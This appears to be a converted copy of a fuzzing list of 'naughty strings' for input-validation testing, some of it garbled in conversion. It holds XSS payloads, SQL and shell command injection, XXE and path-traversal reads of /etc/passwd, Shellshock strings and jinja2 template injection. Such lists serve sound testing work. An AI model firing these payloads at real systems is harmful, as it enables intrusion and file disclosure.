```
#
      Reserved Strings
#
      Strings which may be used elsewhere in code
#
undefined
undef
null
NULL
(null)
nil
NIL
true
false
True
False
TRUE
FALSE
None
hasOwnProperty
then
constructor
//
#
      Numeric Strings
#
#
      Strings which can be interpreted as numeric
0
1
1.00
$1.00
1/2
1E2
1E02
1E+02
-1
-1.00
-$1.00
-1/2
-1E2
-1E02
-1E+02
1/0
0/0
-2147483648/-1
-9223372036854775808/-1
-0
-0.0
+0
+0.0
0.00
0..0
0.0.0
0,00
0,,0
0,0,0
```

```
0.0/0
1.0/0.0
0.0/0.0
1,0/0,0
0,0/0,0
--1
999999999999
NaN
Infinity
-Infinity
INF
1#INF
-1#IND
1#QNAN
1#SNAN
1#IND
0x0
0xffffffff
0xffffffffffffffff
0xabad1dea
123456789012345678901234567890123456789
1,000.00
1 000.00
1'000.00
1,000,000.00
1 000 000.00
1'000'000.00
1.000,00
1 000,00
1'000,00
1.000.000,00
1 000 000,00
1'000'000,00
01000
98
09
2.2250738585072011e-308
#
     Special Characters
#
# ASCII punctuation. All of these characters may need to be escaped in some
# contexts. Divided into three groups based on (US-layout) keyboard position.
, ./; '[]\-=
<>?:"{}|_+
!@#$%^&*()`~
# Non-whitespace C0 controls: U+0001 through U+0008, U+000E through U+001F,
# and U+007F (DEL)
# Often forbidden to appear in various text-based file formats (e.g. XML),
# or reused for internal delimiters on the theory that they should never
# appear in input.
# The next line may appear to be blank or mojibake in some viewers.
```

```
# Commonly misinterpreted as additional graphic characters.
# The next line may appear to be blank, mojibake, or dingbats in some viewers.

# Whitespace: all of the characters with category Zs, Zl, or Zp (in Unicode
# version 8.0.0), plus U+0009 (HT), U+000B (VT), U+000C (FF), U+0085 (NEL),
# and U+200B (ZERO WIDTH SPACE), which are in the C categories but are often
# treated as whitespace in some contexts.
# This file unfortunately cannot express strings containing
# U+0000, U+000A, or U+000D (NUL, LF, CR).
# The next line may appear to be blank or mojibake in some viewers.
```

The next line may be flagged for "trailing whitespace" in some viewers.

Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F.

```
# Unicode additional control characters: all of the characters with
# general category Cf (in Unicode 8.0.0).
# The next line may appear to be blank or mojibake in some viewers.
ووو ي هوسم مرسه سه عدي و
# "Byte order marks", U+FEFF and U+FFFE, each on its own line.
# The next two lines may appear to be blank or mojibake in some viewers.
#
      Unicode Symbols
#
      Strings which contain common unicode symbols (e.g. smart quotes)
#
Ω≈ç√∫~µ≤≥÷
åß\partial f© \Delta°\neg...æ
œΣ´®†¥"^øπ"'
i™£¢∞§¶•ao-≠
Œ"´‰`Á"^Ø∏"′
`/€‹›fifl‡°·,-±
ЁЪЃЄЅӀЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабВгдежзийклмнопрстуфхцчшщъыьэюя
. 177507719
#
      Unicode Subscript/Superscript/Accents
#
      Strings which contain unicode subscripts/superscripts; can cause rendering
#
issues
0 4 5
012
<sup>0 4 5</sup> <sub>0</sub> 1 2
#
      Quotation Marks
#
#
      Strings which contain misplaced quotation marks; can cause encoding errors
11
1.1
11 11
1 11 1
<foo val="bar" />
<foo val="bar" />
<foo val="bar" />
<foo val=`bar' />
#
      Two-Byte Characters
#
#
      Strings which contain two-byte characters: can cause rendering issues or
character-length issues
```

```
田中さんにあげて下さい
パーティーへ行かないか
和製漢語
部落格
사회과학원 어학연구소
찦차를 타고 온 펲시맨과 쑛다리 똠방각하
社會科學院語學研究所
울라바토르
Strings which contain two-byte letters: can cause issues with naïve UTF-16
capitalizers which think that 16 bits == 1 character
#
     Special Unicode Characters Union
#
     A super string recommended by VMware Inc. Globalization Team: can effectively
cause rendering issues or character-length issues to validate product globalization
readiness.
#
                CJK_UNIFIED_IDEOGRAPHS (U+8868)
     ポ
#
                KATAKANA LETTER PO (U+30DD)
     あ
#
                HIRAGANA LETTER A (U+3042)
#
     Α
                LATIN CAPITAL LETTER A (U+0041)
     鷗
#
                CJK_UNIFIED_IDEOGRAPHS (U+9DD7)
     Œ
                LATIN SMALL LIGATURE OE (U+0153)
#
     é
                LATIN SMALL LETTER E WITH ACUTE (U+00E9)
#
     В
#
                 FULLWIDTH LATIN CAPITAL LETTER B (U+FF22)
     逍
#
                CJK_UNIFIED_IDEOGRAPHS (U+900D)
     Ü
#
                LATIN SMALL LETTER U WITH DIAERESIS (U+00FC)
#
     ß
                LATIN SMALL LETTER SHARP S (U+00DF)
     а
#
                FEMININE ORDINAL INDICATOR (U+00AA)
#
                LATIN SMALL LETTER A WITH OGONEK (U+0105)
     ą
                LATIN SMALL LETTER N WITH TILDE (U+00F1)
#
     ñ
     万
                CJK_UNIFIED_IDEOGRAPHS (U+4E02)
#
     北
#
                CJK Ideograph Extension A, First (U+3400)
                CJK Ideograph Extension B, First (U+20000)
表ポあA鷗Œé B逍Üßaañ 万址ご
#
     Changing length when lowercased
#
#
     Characters which increase in length (2 to 3 bytes) when lowercased
#
     Credit: https://twitter.com/jifa/status/625776454479970304
A
7
#
     Japanese Emoticons
#
#
     Strings which consists of Japanese-style emoticons which are popular on the
web
1(´∀ ¯∩
```

```
°·☆ ヾ゙\ (。◕◕。)/☆·°
  (\overset{\cdot}{)} \circ \overset{\cdot}{\square} \circ) \overset{\cdot}{)} \overset{\cdot}{\square} \overset{\cdot}{\square
 (/母益母) / 🎞
             _(ツ)_/¯
#
                                       Emoji
#
#
                                       Strings which contain Emoji; should be the same behavior as two-byte
characters, but not always
•
(C)
                 W W
                                                                       ₹ ₹ ₹ ₹ ₹ ₹
                                                                      MG OK
                  6 ** 17
                                                                                                        UP! ATM
                COOL FREE NEW
5
                                                                                                         6 7 8 9 10
#
                                                     Regional Indicator Symbols
#
#
                                                     Regional Indicator Symbols can be displayed differently across
                                                     fonts, and have a number of special behaviors
#
S S
F
- NE
                                       Unicode Numbers
#
#
                                       Strings which contain unicode numbers; if the code is localized, it should
#
see the input as numeric
 123
177
#
                                       Right-To-Left Strings
#
                                       Strings which contain text that should be rendered RTL if possible (e.g.
#
Arabic, Hebrew)
       ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهَل
       ايطاليا، بريطانياً-فرنسا قد أخذ سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة
  .بولندا، الإطلاق عل إيو
 בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַים, וְאֵת הָאָרֶץ
الصفحات التّحولtestإرّم
 ،مُنَاقَشَةُ سُبُل اِسْتِخْدَام اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيمٍ يَخُسُّ التَّطْيِيقَاتُ الْحاسُوبِيَّةُ
 الكل في المجموعة (5)
#
                                       Ogham Text
#
#
                                       The only unicode alphabet to use a space which isn't empty but should still
```

```
act like a space.
Trick Unicode
#
#
      Strings which contain unicode with unusual properties (e.g. Right-to-left
override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf)
test
test
test
testtest
test
#
      Zalgo Text
#
      Strings which contain "corrupted" text. The corruption will not appear in
non-HTML text, however. (via http://www.eeemo.net)
To invoke the hive-mind representing chaos.
Invoking the feeling of cháos.
The Nezperdian hive mind of chaos Zalqo.
<code>Hewho:Waits' Behind The Wall.</code>
ZALGO.
#
      Unicode Upsidedown
#
      Strings which contain unicode with an "upsidedown" effect (via
http://www.upsidedowntext.com)
sqrbracrud elrf' aeq qo ernawoq fewbor rucrqrqnuf nf lspore ef qolore wsdus slrdns
lovem ipsum dolor sit amet, consectetur
00'1$-
      Unicode font
#
#
      Strings which contain bold/italic/etc. versions of normal characters
The quick brown fox jumps over the lazy dog
The quick brown fox jumps over the lazy dog
The quick brown for jumps over the lazy dog
The quick brown fox jumps over the lazy dog
The quick brown fox jumps over the lazy dog
The quick brown fox jumps over the lazy dog
The quick brown fox jumps over the lazy dog
 (t)(h)(e) (q)(u)(i)(c)(k) (b)(r)(o)(w)(n) (f)(o)(x) (j)(u)(m)(p)(s) (o)(v)(e)(r) (t)(h)(e) (1)(a)(z)(y) (d)(o)(g) 
#
      Script Injection
#
      Strings which attempt to invoke a benign script injection; shows
vulnerability to XSS
<script>alert(0)</script>
<script&gt;alert(&#39;1&#39;);&lt;/script&gt;
<img src=x onerror=alert(2) />
<svg><script>123<1>alert(3)</script>
"><script>alert(4)</script>
```

```
'><script>alert(5)</script>
><script>alert(6)</script>
</script><script>alert(7)</script>
< / script >< script >alert(8)< / script >
onfocus=JaVaSCript:alert(9) autofocus
" onfocus=JaVaSCript:alert(10) autofocus
' onfocus=JaVaSCript:alert(11) autofocus
<script>alert(12)</script>
<sc<script>ript>alert(13)</sc</script>ript>
--><script>alert(14)</script>
";alert(15);t="
';alert(16);t='
JavaSCript:alert(17)
;alert(18);
src=JaVaSCript:prompt(19)
"><script>alert(20);</script x="
'><script>alert(21);</script x='
><script>alert(22);</script x=</pre>
" autofocus onkeyup="javascript:alert(23)
 autofocus onkeyup='javascript:alert(24)
<script\x20type="text/javascript">javascript:alert(25);</script>
<script\x3Etype="text/javascript">javascript:alert(26);</script>
<script\x0Dtype="text/javascript">javascript:alert(27);</script>
<script\x09type="text/javascript">javascript:alert(28);</script>
<script\x0Ctype="text/javascript">javascript:alert(29);</script>
<script\x2Ftype="text/javascript">javascript:alert(30);</script>
<script\x0Atype="text/javascript">javascript:alert(31);</script>
'`"><\x3Cscript>javascript:alert(32)</script>
'`"><\x00script>javascript:alert(33)</script>
ABC<div style="x\x3Aexpression(javascript:alert(34)">DEF
ABC<div style="x:expression\x5C(javascript:alert(35)">DEF
ABC<div style="x:expression\x00(javascript:alert(36)">DEF
ABC<div style="x:exp\x00ression(javascript:alert(37)">DEF
ABC<div style="x:exp\x5Cression(javascript:alert(38)">DEF
ABC<div style="x:\x0Aexpression(javascript:alert(39)">DEF
ABC<div style="x:\x09expression(javascript:alert(40)">DEF
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(41)">DEF
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(42)">DEF
ABC<div style="x:\xC2\xA0expression(javascript:alert(43)">DEF
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(44)">DEF
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(45)">DEF
ABC<div style="x:\x0Dexpression(javascript:alert(46)">DEF
ABC<div style="x:\x0Cexpression(javascript:alert(47)">DEF
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(48)">DEF
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(49)">DEF
ABC<div style="x:\x20expression(javascript:alert(50)">DEF
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(51)">DEF
ABC<div style="x:\x00expression(javascript:alert(52)">DEF
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(53)">DEF
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(54)">DEF
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(55)">DEF
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(56)">DEF
ABC<div style="x:\x0Bexpression(javascript:alert(57)">DEF
ABC<div style="x:\xE2\x80\x81expression(javascript:alert(58)">DEF
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(59)">DEF
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(60)">DEF
<a href="\x0Bjavascript:javascript:alert(61)" id="fuzzelement1">test</a>
<a href="\x0Fjavascript:javascript:alert(62)" id="fuzzelement1">test</a>
<a href="\xC2\xA0javascript:javascript:alert(63)" id="fuzzelement1">test</a>
```

```
<a href="\x05javascript:javascript:alert(64)" id="fuzzelement1">test</a>
<a href="\xE1\xA0\x8Ejavascript:javascript:alert(65)" id="fuzzelement1">test</a>
<a href="\x18javascript:javascript:alert(66)" id="fuzzelement1">test</a>
<a href="\x11javascript:javascript:alert(67)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x88javascript:javascript:alert(68)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x89javascript:javascript:alert(69)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x80javascript:javascript:alert(70)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:alert(71)" id="fuzzelement1">test</a>
<a href="\x03javascript:javascript:alert(72)" id="fuzzelement1">test</a>
<a href="\x0Ejavascript:javascript:alert(73)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:alert(74)" id="fuzzelement1">test</a>
<a href="\x00javascript:javascript:alert(75)" id="fuzzelement1">test</a>
<a href="\x10javascript:javascript:alert(76)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x82javascript:javascript:alert(77)" id="fuzzelement1">test</a>
<a href="\x20javascript:javascript:alert(78)" id="fuzzelement1">test</a>
<a href="\x13javascript:javascript:alert(79)" id="fuzzelement1">test</a>
<a href="\x09javascript:javascript:alert(80)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x8Ajavascript:javascript:alert(81)" id="fuzzelement1">test</a>
<a href="\x14javascript:javascript:alert(82)" id="fuzzelement1">test</a>
<a href="\x19javascript:javascript:alert(83)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xAFjavascript:javascript:alert(84)" id="fuzzelement1">test</a>
<a href="\x1Fjavascript:javascript:alert(85)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x81javascript:javascript:alert(86)" id="fuzzelement1">test</a>
<a href="\x1Djavascript:javascript:alert(87)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:alert(88)" id="fuzzelement1">test</a>
<a href="\x07javascript:javascript:alert(89)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:alert(90)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:alert(91)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:alert(92)" id="fuzzelement1">test</a><a href="\x01javascript:javascript:alert(93)" id="fuzzelement1">test</a>
<a href="\x08javascript:javascript:alert(94)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x84javascript:javascript:alert(95)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x86javascript:javascript:alert(96)" id="fuzzelement1">test</a>
<a href="\xE3\x80\x80javascript:javascript:alert(97)" id="fuzzelement1">test</a>
<a href="\x12javascript:javascript:alert(98)" id="fuzzelement1">test</a>
<a href="\x0Djavascript:javascript:alert(99)" id="fuzzelement1">test</a>
<a href="\x0Ajavascript:javascript:alert(100)" id="fuzzelement1">test</a>
<a href="\x0Cjavascript:javascript:alert(101)" id="fuzzelement1">test</a>
<a href="\x15javascript:javascript:alert(102)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA8javascript:javascript:alert(103)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:alert(104)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:alert(105)" id="fuzzelement1">test</a>
<a href="\x1Bjavascript:javascript:alert(106)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:alert(107)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:alert(108)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:alert(109)" id="fuzzelement1">test</a>
<a href="\x1Ejavascript:javascript:alert(110)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:alert(111)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:alert(112)" id="fuzzelement1">test</a>
<a href="javascript\x00:javascript:alert(113)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:alert(114)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:alert(115)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:alert(116)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:alert(117)" id="fuzzelement1">test</a>
`"'><img src=xxx:x \x0Aonerror=javascript:alert(118)>
`"'><img src=xxx:x \x22onerror=javascript:alert(119)>
`"'><img src=xxx:x \x0Bonerror=javascript:alert(120)>
`"'><img src=xxx:x \x0Donerror=javascript:alert(121)>
`"'><img src=xxx:x \x2Fonerror=javascript:alert(122)>
```

```
`"'><img src=xxx:x \x09onerror=javascript:alert(123)>
`"'><img src=xxx:x \x0Conerror=javascript:alert(124)>
`"'><img src=xxx:x \x00onerror=javascript:alert(125)>
`"'><img src=xxx:x \x27onerror=javascript:alert(126)>
`"'><img src=xxx:x \x20onerror=javascript:alert(127)>
"`'><script>\x3Bjavascript:alert(128)</script>
"`'><script>\x0Djavascript:alert(129)</script>
"`'><script>\xEF\xBB\xBFjavascript:alert(130)</script>
"`'><script>\xE2\x80\x81javascript:alert(131)</script>
"`'><script>\xE2\x80\x84javascript:alert(132)</script>
"`'><script>\xE3\x80\x80javascript:alert(133)</script>
"`'><script>\x09javascript:alert(134)</script>
"`'><script>\xE2\x80\x89javascript:alert(135)</script>
"`'><script>\xE2\x80\x85javascript:alert(136)</script>
"`'><script>\xE2\x80\x88javascript:alert(137)</script>
"`'><script>\x00javascript:alert(138)</script>
"`'><script>\xE2\x80\xA8javascript:alert(139)</script>
"`'><script>\xE2\x80\x8Ajavascript:alert(140)</script>
"`'><script>\xE1\x9A\x80javascript:alert(141)</script>
"`'><script>\x0Cjavascript:alert(142)</script>
"`'><script>\x2Bjavascript:alert(143)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:alert(144)</script>
"`'><script>-javascript:alert(145)</script>
"`'><script>\x0Ajavascript:alert(146)</script>
"`'><script>\xE2\x80\xAFjavascript:alert(147)</script>
"`'><script>\x7Ejavascript:alert(148)</script>
"`'><script>\xE2\x80\x87javascript:alert(149)</script>
"`'><script>\xE2\x81\x9Fjavascript:alert(150)</script>
"`'><script>\xE2\x80\xA9javascript:alert(151)</script>
"`'><script>\xC2\x85javascript:alert(152)</script>
"`'><script>\xEF\xBF\xAEjavascript:alert(153)</script>
"`'><script>\xE2\x80\x83javascript:alert(154)</script>
"`'><script>\xE2\x80\x8Bjavascript:alert(155)</script>
"`'><script>\xEF\xBF\xBEjavascript:alert(156)</script>
"`'><script>\xE2\x80\x80javascript:alert(157)</script>
"`'><script>\x21javascript:alert(158)</script>
"`'><script>\xE2\x80\x82javascript:alert(159)</script>
"`'><script>\xE2\x80\x86javascript:alert(160)</script>
"`'><script>\xE1\xA0\x8Ejavascript:alert(161)</script>
"`'><script>\x0Bjavascript:alert(162)</script>
"`'><script>\x20javascript:alert(163)</script>
"`'><script>\xC2\xA0javascript:alert(164)</script>
<img \x00src=x onerror="alert(165)">
<img \x47src=x onerror="javascript:alert(166)">
<img \x11src=x onerror="javascript:alert(167)">
<img \x12src=x onerror="javascript:alert(168)">
<img\x47src=x onerror="javascript:alert(169)">
<img\x10src=x onerror="javascript:alert(170)">
<img\x13src=x onerror="javascript:alert(171)">
<img\x32src=x onerror="javascript:alert(172)">
<img\x47src=x onerror="javascript:alert(173)">
<img\x11src=x onerror="javascript:alert(174)">
<img \x47src=x onerror="javascript:alert(175)">
<img \x34src=x onerror="javascript:alert(176)">
<img \x39src=x onerror="javascript:alert(177)">
<img \x00src=x onerror="javascript:alert(178)">
<img src\x09=x onerror="javascript:alert(179)">
<img src\x10=x onerror="javascript:alert(180)">
<img src\x13=x onerror="javascript:alert(181)">
```

```
<img src\x32=x onerror="javascript:alert(182)">
<img src\x12=x onerror="javascript:alert(183)">
<img src\x11=x onerror="javascript:alert(184)">
<img src\x00=x onerror="javascript:alert(185)">
<img src\x47=x onerror="javascript:alert(186)">
<img src=x\x09onerror="javascript:alert(187)">
<img src=x\x10onerror="javascript:alert(188)">
<img src=x\x11onerror="javascript:alert(189)">
<img src=x\x12onerror="javascript:alert(190)">
<img src=x\x13onerror="javascript:alert(191)">
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(192)">
<img src=x onerror=\x09"javascript:alert(193)">
<img src=x onerror=\x10"javascript:alert(194)">
<img src=x onerror=\x11"javascript:alert(195)">
<img src=x onerror=\x12"javascript:alert(196)">
<img src=x onerror=\x32"javascript:alert(197)">
<img src=x onerror=\x00"javascript:alert(198)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(199)>XXX</a>
<imq src="x` `<script>javascript:alert(200)</script>"` `>
<img src onerror /" '"= alt=javascript:alert(201)//">
<title onpropertychange=javascript:alert(202)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x
onerror=javascript:alert(203)></a>">
<!--[if]><script>javascript:alert(204)</script -->
<!--[if<img src=x onerror=javascript:alert(205)//]> -->
<script src="/\%(jscript)s"></script>
<script src="\\%(jscript)s"></script>
<IMG """><SCRIPT>alert("206")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(50,48,55))>
<IMG SRC=# onmouseover="alert('208')">
<IMG SRC= onmouseover="alert('209')">
<IMG onmouseover="alert('210')">
SRC=javascript:ale
rt('211')>
SRC = \$\#0000106\$\#0000097\$\#0000118\$\#0000097\$\#0000115\$\#0000099\$\#0000114\$\#0000105\$\#00001
12\&\#0000116\&\#0000058\&\#0000097\&\#0000108\&\#0000101\&\#0000114\&\#0000116\&\#0000040\&\#0000039
&#0000050&#0000049&#0000050&#0000039&#0000041>
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x7
4&#x28&#x27&#x32&#x31&#x33&#x27&#x29>
<IMG SRC="jav ascript:alert('214');">
<IMG SRC="jav&#x09;ascript:alert('215');">
<IMG SRC="jav&#x0A;ascript:alert('216');">
<IMG SRC="jav&#x0D;ascript:alert('217');">
perl -e 'print "<IMG SRC=java\0script:alert(\"218\")>";' > out
<IMG SRC=" &#14; javascript:alert('219');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("220")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("221");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('222')"</pre>
<iframe src=http://ha.ckers.org/scriptlet.html <</pre>
\";alert('223');//
<u oncopy=alert()> Copy me</u>
<i onwheel=alert(224)> Scroll over me </i>
```

```
<plaintext>
http://a/%%30%30
</textarea><script>alert(225)</script>
      SQL Injection
#
      Strings which can cause a SQL injection if inputs are not sanitized
1; DROP TABLE users
1'; DROP TABLE users-- 1
' OR 1=1 -- 1
' OR '1'='1
'; EXEC sp_MSForEachTable 'DROP TABLE ?'; --
%
#
      Server Code Injection
#
      Strings which can cause user to run code on server as a privileged user (c.f.
https://news.ycombinator.com/item?id=7665153)
--version
--help
$USER
/dev/null; touch /tmp/blns.fail ; echo
`touch /tmp/blns.fail`
$(touch /tmp/blns.fail)
@{[system "touch /tmp/blns.fail"]}
      Command Injection (Ruby)
#
#
#
      Strings which can call system commands within Ruby/Rails applications
eval("puts 'hello world'")
System("ls -al /")
`ls -al /`
Kernel.exec("ls -al /")
Kernel.exit(1)
%x('ls -al /')
       XXE Injection (XML)
#
#
      String which can reveal system files when parsed by a badly configured XML
parser
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!</pre>
ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
      Unwanted Interpolation
#
      Strings which can be accidentally expanded into different strings if
evaluated in the wrong context, e.g. used as a printf format string or via Perl or
shell eval. Might expose sensitive data from the program doing the interpolation,
or might just represent the wrong string.
```

```
$ENV{'HOME'}
%d
%s%s%s%s%s
{0}
%*.*s
%@
%n
File:///
#
     File Inclusion
#
#
     Strings which can cause user to pull in files that should not be a part of a
web server
../../../etc/passwd%00
../../../etc/hosts
     Known CVEs and Vulnerabilities
#
     Strings that test for known vulnerabilities
() { 0; }; touch /tmp/blns.shellshock1.fail;
() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }
<< %s(un='%s') = %u
+++ATH0
#
     MSDOS/Windows Special Filenames
#
#
     Strings which are reserved characters in MSDOS/Windows
CON
PRN
AUX
CLOCK$
NUL
Α:
ZZ:
COM1
LPT1
LPT2
LPT3
COM2
COM3
COM4
    IRC specific strings
#
#
#
   Strings that may occur on IRC clients that make security products freak out
DCC SEND STARTKEYLOGGER 0 0 0
#
     Scunthorpe Problem
#
     Innocuous strings which may be blocked by profanity filters
(https://en.wikipedia.org/wiki/Scunthorpe_problem)
Scunthorpe General Hospital
Penistone Community Church
Lightwater Country Park
```

```
Jimmy Clitheroe
Horniman Museum
shitake mushrooms
RomansInSussex.co.uk
http://www.cum.qc.ca/
Craig Cockburn, Software Specialist
Linda Callahan
Dr. Herman I. Libshitz
magna cum laude
Super Bowl XXX
medieval erection of parapets
evaluate
mocha
expression
Arsenal canal
classic
Tvson Gav
Dick Van Dyke
basement
#
      Human injection
#
      Strings which may cause human to reinterpret worldview
#
If you're reading this, you've been in a coma for almost 20 years now. We're trying
a new technique. We don't know where this message will end up in your dream, but we
hope it works. Please wake up, we miss you.
#
      Terminal escape codes
#
      Strings which punish the fools who use cat/type on this file
Roses are #[0;31mred#[0m, violets are #[0;34mblue. Hope you enjoy terminal hue
But now...#[20Cfor my greatest trick...#[8m]
The quic#####k brown fo########x... [Beeeep]
#
      iOS Vulnerabilities
#
      Strings which crashed iMessage in various versions of iOS
h 元 يُلُمّبُلُلمّبُررً Power
0
# Persian special characters
# This is a four characters string which includes Persian special characters (گحدڙ)
گچپژ
# jinja2 injection
# first one is supposed to raise "MemoryError" exception
# second, obviously, prints contents of /etc/passwd
{% print 'x' * 64 * 1024**3 %}
{{ "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
```